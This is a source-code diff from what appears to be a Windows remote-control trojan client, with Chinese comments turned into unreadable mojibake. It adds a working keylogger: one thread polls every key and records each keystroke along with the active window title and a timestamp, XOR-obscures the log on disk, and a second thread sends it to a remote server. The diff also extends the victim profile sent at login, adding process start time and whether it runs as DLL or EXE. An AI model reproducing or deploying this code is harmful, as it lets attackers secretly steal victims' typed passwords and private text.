||||
KeyString = "_";
|
||||
else
|
||||
KeyString = "-";
|
||||
break;
|
||||
case 190:
|
||||
if(IS)
|
||||
KeyString = ">";
|
||||
else
|
||||
KeyString = ".";
|
||||
break;
|
||||
case 191:
|
||||
if(IS)
|
||||
KeyString = "?";
|
||||
else
|
||||
KeyString = "/";
|
||||
break;
|
||||
case 192:
|
||||
if(IS)
|
||||
KeyString = "~";
|
||||
else
|
||||
KeyString = "`";
|
||||
break;
|
||||
case 219:
|
||||
if(IS)
|
||||
KeyString = "{";
|
||||
else
|
||||
KeyString = "[";
|
||||
break;
|
||||
case 220:
|
||||
if(IS)
|
||||
KeyString = "|";
|
||||
else
|
||||
KeyString = "\\";
|
||||
break;
|
||||
case 221:
|
||||
if(IS)
|
||||
KeyString = "}";
|
||||
else
|
||||
KeyString = "]";
|
||||
break;
|
||||
case 222:
|
||||
if(IS)
|
||||
KeyString = '"';
|
||||
else
|
||||
KeyString = "'";
|
||||
break;
|
||||
}
|
||||
}
|
||||
//<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
|
||||
if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
|
||||
KeyString = "[Esc]";
|
||||
else if (Key == VK_F1) // F1<46><31>F12
|
||||
KeyString = "[F1]";
|
||||
else if (Key == VK_F2)
|
||||
KeyString = "[F2]";
|
||||
else if (Key == VK_F3)
|
||||
KeyString = "[F3]";
|
||||
else if (Key == VK_F4)
|
||||
KeyString = "[F4]";
|
||||
else if (Key == VK_F5)
|
||||
KeyString = "[F5]";
|
||||
else if (Key == VK_F6)
|
||||
KeyString = "[F6]";
|
||||
else if (Key == VK_F7)
|
||||
KeyString = "[F7]";
|
||||
else if (Key == VK_F8)
|
||||
KeyString = "[F8]";
|
||||
else if (Key == VK_F9)
|
||||
KeyString = "[F9]";
|
||||
else if (Key == VK_F10)
|
||||
KeyString = "[F10]";
|
||||
else if (Key == VK_F11)
|
||||
KeyString = "[F11]";
|
||||
else if (Key == VK_F12)
|
||||
KeyString = "[F12]";
|
||||
else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
|
||||
KeyString = "[PrScrn]";
|
||||
else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[Scroll Lock]";
|
||||
else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
|
||||
KeyString = "[Pause]";
|
||||
else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
||||
KeyString = "[Caps Lock]";
|
||||
|
||||
//-------------------------------------//
|
||||
//<2F><><EFBFBD>Ƽ<EFBFBD>
|
||||
else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
|
||||
KeyString = "[Backspace]";
|
||||
else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[Enter]\n";
|
||||
else if (Key == VK_SPACE) // <20>ո<EFBFBD>
|
||||
KeyString = " ";
|
||||
//<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD><EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
//<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
/*
|
||||
else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
|
||||
KeyString = "[Shift]";
|
||||
else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
|
||||
KeyString = "[SHIFT]";
|
||||
*/
|
||||
/*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
|
||||
else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
|
||||
KeyString = "[Tab]";
|
||||
else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
|
||||
KeyString = "[Ctrl]";
|
||||
else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
|
||||
KeyString = "[CTRL]";
|
||||
else if (Key == VK_LMENU) // <20><EFBFBD><F3BBBBB5><EFBFBD>
|
||||
KeyString = "[Alt]";
|
||||
else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[ALT]";
|
||||
else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
|
||||
KeyString = "[Win]";
|
||||
else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
|
||||
KeyString = "[WIN]";
|
||||
else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
|
||||
KeyString = "<EFBFBD>Ҽ<EFBFBD>";
|
||||
else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
|
||||
KeyString = "[Insert]";
|
||||
else if (Key == VK_DELETE) // ɾ<><C9BE>
|
||||
KeyString = "[Delete]";
|
||||
else if (Key == VK_HOME) // <20><>ʼ
|
||||
KeyString = "[Home]";
|
||||
else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
|
||||
KeyString = "[End]";
|
||||
else if (Key == VK_PRIOR) // <20><>һҳ
|
||||
KeyString = "[PgUp]";
|
||||
else if (Key == VK_NEXT) // <20><>һҳ
|
||||
KeyString = "[PgDown]";
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
|
||||
else if (Key == VK_CANCEL) // Cancel
|
||||
KeyString = "[Cancel]";
|
||||
else if (Key == VK_CLEAR) // Clear
|
||||
KeyString = "[Clear]";
|
||||
else if (Key == VK_SELECT) //Select
|
||||
KeyString = "[Select]";
|
||||
else if (Key == VK_PRINT) //Print
|
||||
KeyString = "[Print]";
|
||||
else if (Key == VK_EXECUTE) //Execute
|
||||
KeyString = "[Execute]";
|
||||
|
||||
//----------------------------------------//
|
||||
else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
|
||||
KeyString = "[<5B><>]";
|
||||
else if (Key == VK_RIGHT)
|
||||
KeyString = "[<5B><>]";
|
||||
else if (Key == VK_UP)
|
||||
KeyString = "[<5B><>]";
|
||||
else if (Key == VK_DOWN)
|
||||
KeyString = "[<5B><>]";
|
||||
else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[NumLock]";
|
||||
else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
|
||||
KeyString = "+";
|
||||
else if (Key == VK_SUBTRACT)
|
||||
KeyString = "-";
|
||||
else if (Key == VK_MULTIPLY)
|
||||
KeyString = "*";
|
||||
else if (Key == VK_DIVIDE)
|
||||
KeyString = "/";
|
||||
else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
|
||||
KeyString = ".";
|
||||
//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
|
||||
else if (Key == VK_NUMPAD0)
|
||||
KeyString = "0";
|
||||
else if (Key == VK_NUMPAD1)
|
||||
KeyString = "1";
|
||||
else if (Key == VK_NUMPAD2)
|
||||
KeyString = "2";
|
||||
else if (Key == VK_NUMPAD3)
|
||||
KeyString = "3";
|
||||
else if (Key == VK_NUMPAD4)
|
||||
KeyString = "4";
|
||||
else if (Key == VK_NUMPAD5)
|
||||
KeyString = "5";
|
||||
else if (Key == VK_NUMPAD6)
|
||||
KeyString = "6";
|
||||
else if (Key == VK_NUMPAD7)
|
||||
KeyString = "7";
|
||||
else if (Key == VK_NUMPAD8)
|
||||
KeyString = "8";
|
||||
else if (Key == VK_NUMPAD9)
|
||||
KeyString = "9";
|
||||
//-------------------------------------------//
|
||||
|
||||
//-------------------------------------------//
|
||||
//*<2A><><EFBFBD><EFBFBD>ĸ<EFBFBD>Ĵ<EFBFBD>Сд<D0A1><D0B4><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>*//
|
||||
else if (Key >=97 && Key <= 122) { // <20><>ĸ:a-z
|
||||
if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
||||
if(IS) //Shift<66><74><EFBFBD><EFBFBD>:ΪСд<D0A1><D0B4>ĸ
|
||||
KeyString = Key;
|
||||
else // ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ĸ
|
||||
KeyString = Key - 32;
|
||||
} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(IS) // <20><><EFBFBD><EFBFBD>Shift<66><74>: <20><>д<EFBFBD><D0B4>ĸ
|
||||
KeyString = Key - 32;
|
||||
else // û<>а<EFBFBD>Shift<66><74>: Сд<D0A1><D0B4>ĸ
|
||||
KeyString = Key;
|
||||
}
|
||||
} else if (Key >=48 && Key <= 57) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:0-9<><39><EFBFBD>Ϸ<EFBFBD><CFB7>ķ<EFBFBD><C4B7><EFBFBD>
|
||||
if(IS) {
|
||||
switch(Key) {
|
||||
case 48: //0
|
||||
KeyString = ")";
|
||||
break;
|
||||
case 49://1
|
||||
KeyString = "!";
|
||||
break;
|
||||
case 50://2
|
||||
KeyString = "@";
|
||||
break;
|
||||
case 51://3
|
||||
KeyString = "#";
|
||||
break;
|
||||
case 52://4
|
||||
KeyString = "$";
|
||||
break;
|
||||
case 53://5
|
||||
KeyString = "%";
|
||||
break;
|
||||
case 54://6
|
||||
KeyString = "^";
|
||||
break;
|
||||
case 55://7
|
||||
KeyString = "&";
|
||||
break;
|
||||
case 56://8
|
||||
KeyString = "*";
|
||||
break;
|
||||
case 57://9
|
||||
KeyString = "(";
|
||||
break;
|
||||
}
|
||||
} else
|
||||
KeyString = Key;
|
||||
}
|
||||
if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
|
||||
if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z
|
||||
if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>A-Z
|
||||
if(IS) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ұ<EFBFBD><D2B0><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD><EFBFBD>ΪСд<D0A1><D0B4>ĸ
|
||||
KeyString = Key + 32;
|
||||
else //ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>д<EFBFBD><D0B4>ĸ
|
||||
KeyString = Key;
|
||||
} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:a-z
|
||||
if(IS) {
|
||||
KeyString = Key;
|
||||
} else {
|
||||
Key = Key + 32;
|
||||
KeyString = Key;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return KeyString;
|
||||
}
|
||||
|
||||
void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer)
|
||||
{
|
||||
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
|
||||
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
DWORD dwBytesWrite = 0;
|
||||
DWORD dwSize = GetFileSize(hFile, NULL);
|
||||
if (dwSize < 1024 * 1024 * 50)
|
||||
SetFilePointer(hFile, 0, 0, FILE_END);
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
int nLength = lstrlen(lpBuffer);
|
||||
TCHAR* lpEncodeBuffer = new TCHAR[nLength];
|
||||
for (int i = 0; i < nLength; i++)
|
||||
lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`');
|
||||
WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
delete [] lpEncodeBuffer;
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
|
||||
{
|
||||
HWND hFocus = GetForegroundWindow();
|
||||
BOOL ReturnFlag = FALSE;
|
||||
if (hFocus != PreviousFocus) {
|
||||
if (lstrlen(WindowCaption) > 0) {
|
||||
if (hasData) {
|
||||
SYSTEMTIME s;
|
||||
GetLocalTime(&s);
|
||||
wsprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
||||
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
|
||||
}
|
||||
memset(WindowCaption, 0, CAPTION_SIZE);
|
||||
ReturnFlag=TRUE;
|
||||
}
|
||||
PreviousFocus = hFocus;
|
||||
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
|
||||
}
|
||||
return ReturnFlag;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
|
||||
while(pThis->m_bIsWorking) {
|
||||
DWORD dwSize =0;
|
||||
HANDLE hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
dwSize = GetFileSize(hFile, NULL);
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
|
||||
if (pThis->dKeyBoardSize != dwSize) {
|
||||
pThis->sendOfflineRecord(pThis->dKeyBoardSize);
|
||||
}
|
||||
|
||||
Sleep(3000);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
|
||||
TCHAR KeyBuffer[2048] = {};
|
||||
TCHAR szText[CAPTION_SIZE] = {};
|
||||
TCHAR WindowCaption[CAPTION_SIZE] = {};
|
||||
HWND PreviousFocus = NULL;
|
||||
while(pThis->m_bIsWorking) {
|
||||
Sleep(5);
|
||||
int num = lstrlen(KeyBuffer);
|
||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||
bool newWindowInput = strlen(szText);
|
||||
if (newWindowInput){// <20><><EFBFBD>µĴ<C2B5><C4B4><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
lstrcat(KeyBuffer, szText);
|
||||
memset(szText, 0, sizeof(szText));
|
||||
}
|
||||
if (lstrlen(KeyBuffer) > 0) {
|
||||
if (!newWindowInput)
|
||||
lstrcat(KeyBuffer, _T("\r\n"));
|
||||
const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
|
||||
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
|
||||
memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
|
||||
SaveToFile(pThis->m_strRecordFile, KeyBuffer);
|
||||
memset(KeyBuffer,0,sizeof(KeyBuffer));
|
||||
}
|
||||
}
|
||||
for(int i = 8; i <= 255; i++) {
|
||||
if((GetAsyncKeyState(i)&1) == 1) {
|
||||
string TempString = GetKey (i);
|
||||
lstrcat(KeyBuffer,TempString.c_str());
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
35
client/KeyboardManager.h
Normal file
35
client/KeyboardManager.h
Normal file
@@ -0,0 +1,35 @@
|
||||
// KeyboardManager.h: interface for the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
|
||||
#define AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "..\Manager.h"
|
||||
|
||||
class CKeyboardManager1 : public CManager
|
||||
{
|
||||
public:
|
||||
CKeyboardManager1(CClientSocket *pClient, int n=0, void* user = nullptr);
|
||||
virtual ~CKeyboardManager1();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
||||
static DWORD WINAPI SendData(LPVOID lparam);
|
||||
|
||||
HANDLE m_hWorkThread,m_hSendThread;
|
||||
DWORD dKeyBoardSize;
|
||||
TCHAR m_strRecordFile[MAX_PATH];
|
||||
private:
|
||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||
int sendStartKeyBoard();
|
||||
int sendOfflineRecord(DWORD dwRead = 0);
|
||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||
|
||||
bool m_bIsWorking;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
|
||||
@@ -2,6 +2,27 @@
|
||||
#include "LoginServer.h"
|
||||
#include "Common.h"
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include <ctime>
|
||||
#include <NTSecAPI.h>
|
||||
|
||||
// by ChatGPT
|
||||
bool IsWindows11() {
|
||||
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||||
|
||||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||||
if (hMod) {
|
||||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||||
if (rtlGetVersion) {
|
||||
rtlGetVersion(&rovi);
|
||||
return (rovi.dwMajorVersion == 10 && rovi.dwMinorVersion == 0 && rovi.dwBuildNumber >= 22000);
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/************************************************************************
|
||||
---------------------
|
||||
@@ -17,8 +38,21 @@ std::string getSystemName()
|
||||
//<2F><><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>Ϊwin8.1<EFBFBD><EFBFBD>win10
|
||||
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
|
||||
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
||||
if (hinst == NULL)
|
||||
{
|
||||
return vname;
|
||||
}
|
||||
if (IsWindows11()) {
|
||||
vname = "Windows 11";
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
||||
if (proc==NULL)
|
||||
{
|
||||
return vname;
|
||||
}
|
||||
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
||||
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
||||
{
|
||||
@@ -114,10 +148,39 @@ std::string getSystemName()
|
||||
return vname;
|
||||
}
|
||||
|
||||
std::string formatTime(const FILETIME& fileTime) {
|
||||
// ת<><D7AA>Ϊ 64 λʱ<CEBB><CAB1>
|
||||
ULARGE_INTEGER ull;
|
||||
ull.LowPart = fileTime.dwLowDateTime;
|
||||
ull.HighPart = fileTime.dwHighDateTime;
|
||||
|
||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
||||
// ת<><D7AA>Ϊ<EFBFBD>뼶ʱ<EBBCB6><CAB1><EFBFBD><EFBFBD>
|
||||
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
|
||||
|
||||
// <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
std::tm* localTime = std::localtime(&startTime);
|
||||
char buffer[100];
|
||||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
|
||||
return std::string(buffer);
|
||||
}
|
||||
|
||||
std::string getProcessTime() {
|
||||
FILETIME creationTime, exitTime, kernelTime, userTime;
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD>̵<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>Ϣ
|
||||
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
|
||||
return formatTime(creationTime);
|
||||
}
|
||||
std::time_t now = std::time(nullptr);
|
||||
std::tm* t = std::localtime(&now);
|
||||
char buffer[100];
|
||||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType)
|
||||
{
|
||||
LOGIN_INFOR LoginInfor = {0};
|
||||
LOGIN_INFOR LoginInfor;
|
||||
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
|
||||
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
||||
@@ -140,9 +203,9 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
||||
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
|
||||
LoginInfor.dwSpeed = dwSpeed;
|
||||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||||
LoginInfor.ClientAddr = ClientAddr.sin_addr;
|
||||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||||
|
||||
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||||
sprintf_s(LoginInfor.szReserved, "%s", nType==CLIENT_TYPE_DLL?"DLL":"EXE");
|
||||
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
|
||||
|
||||
return iRet;
|
||||
|
||||
@@ -5,17 +5,6 @@
|
||||
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
|
||||
typedef struct _LOGIN_INFOR
|
||||
{
|
||||
BYTE bToken; // ȡ1<C8A1><31><EFBFBD><EFBFBD>½<EFBFBD><C2BD>Ϣ
|
||||
char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
||||
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
||||
}LOGIN_INFOR,*PLOGIN_INFOR;
|
||||
|
||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed);
|
||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType);
|
||||
DWORD CPUClockMHz();
|
||||
BOOL WebCamIsExist();
|
||||
|
||||
@@ -5,6 +5,117 @@
|
||||
#include "stdafx.h"
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <process.h>
|
||||
|
||||
typedef struct {
|
||||
unsigned(__stdcall* start_address)(void*);
|
||||
void* arglist;
|
||||
bool bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HANDLE hEventTransferArg;
|
||||
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
|
||||
|
||||
BOOL SelectDesktop(TCHAR* name);
|
||||
|
||||
unsigned int __stdcall ThreadLoader(LPVOID param)
|
||||
{
|
||||
unsigned int nRet = 0;
|
||||
try {
|
||||
THREAD_ARGLIST arg;
|
||||
memcpy(&arg, param, sizeof(arg));
|
||||
SetEvent(arg.hEventTransferArg);
|
||||
// <20><><EFBFBD>潻<EFBFBD><E6BDBB>
|
||||
if (arg.bInteractive)
|
||||
SelectDesktop(NULL);
|
||||
|
||||
nRet = arg.start_address(arg.arglist);
|
||||
}
|
||||
catch (...) {
|
||||
};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive)
|
||||
{
|
||||
HANDLE hThread = INVALID_HANDLE_VALUE;
|
||||
THREAD_ARGLIST arg;
|
||||
arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress;
|
||||
arg.arglist = (void*)lpParameter;
|
||||
arg.bInteractive = bInteractive;
|
||||
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
|
||||
hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
|
||||
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
|
||||
CloseHandle(arg.hEventTransferArg);
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
||||
BOOL SelectHDESK(HDESK new_desktop)
|
||||
{
|
||||
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
DWORD dummy;
|
||||
char new_name[256];
|
||||
|
||||
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switch the desktop
|
||||
if (!SetThreadDesktop(new_desktop)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switched successfully - destroy the old desktop
|
||||
CloseDesktop(old_desktop);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// - SelectDesktop(char *)
|
||||
// Switches the current thread into a different desktop, by name
|
||||
// Calling with a valid desktop name will place the thread in that desktop.
|
||||
// Calling with a NULL name will place the thread in the current input desktop.
|
||||
BOOL SelectDesktop(TCHAR* name)
|
||||
{
|
||||
HDESK desktop;
|
||||
|
||||
if (name != NULL) {
|
||||
// Attempt to open the named desktop
|
||||
desktop = OpenDesktop(name, 0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
